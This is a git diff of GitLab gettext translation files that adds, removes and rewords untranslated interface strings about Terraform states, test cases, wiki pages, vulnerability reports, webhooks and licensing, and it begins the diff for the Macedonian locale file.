msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26594,6 +27189,12 @@ msgstr[3] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26621,6 +27222,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26651,6 +27255,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26748,9 +27355,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26760,10 +27364,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26832,9 +27436,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26878,6 +27479,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26926,6 +27530,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26971,6 +27581,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27082,6 +27695,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -27091,7 +27707,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27103,9 +27719,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27121,6 +27734,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -27208,6 +27824,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27523,9 +28142,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27535,9 +28151,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27580,6 +28193,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27643,7 +28259,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27652,9 +28268,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27769,7 +28382,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27790,9 +28403,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27871,6 +28481,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27916,6 +28529,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -28216,6 +28832,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28236,6 +28855,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28371,7 +28993,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28470,6 +29092,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28812,6 +29437,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28878,7 +29506,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28950,10 +29578,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -29148,9 +29776,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29169,6 +29794,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -29205,6 +29833,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -29295,6 +29926,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29442,6 +30076,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29499,6 +30139,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29544,6 +30187,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29574,6 +30220,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29610,6 +30259,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29652,15 +30304,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29730,7 +30382,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29813,6 +30465,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29870,6 +30525,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29963,9 +30621,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30071,6 +30726,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -30119,10 +30780,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -30137,6 +30795,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30161,6 +30822,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30290,6 +30954,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30305,6 +30972,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30386,12 +31056,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30450,7 +31126,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30606,6 +31288,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30687,9 +31372,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30699,6 +31381,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30744,6 +31429,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30903,6 +31591,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30945,6 +31636,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -31023,6 +31717,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -31107,9 +31807,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31152,13 +31849,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31188,9 +31882,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31209,6 +31900,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31386,6 +32086,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31624,13 +32339,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading)"
-msgstr ""
-
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31799,6 +32511,12 @@ msgstr[3] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31817,9 +32535,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31878,9 +32590,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31973,6 +32682,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32001,6 +32713,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -32022,7 +32737,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32582,6 +33300,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32594,6 +33315,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32679,6 +33403,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32746,9 +33476,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32797,9 +33533,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32830,10 +33563,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32842,6 +33575,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32923,6 +33662,13 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/mk_MK/gitlab.po b/locale/mk_MK/gitlab.po
index 5b9d8100bc2..1887a269bc4 100644
--- a/locale/mk_MK/gitlab.po
+++ b/locale/mk_MK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: mk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:49\n"
+"PO-Revision-Date: 2020-12-03 08:18\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
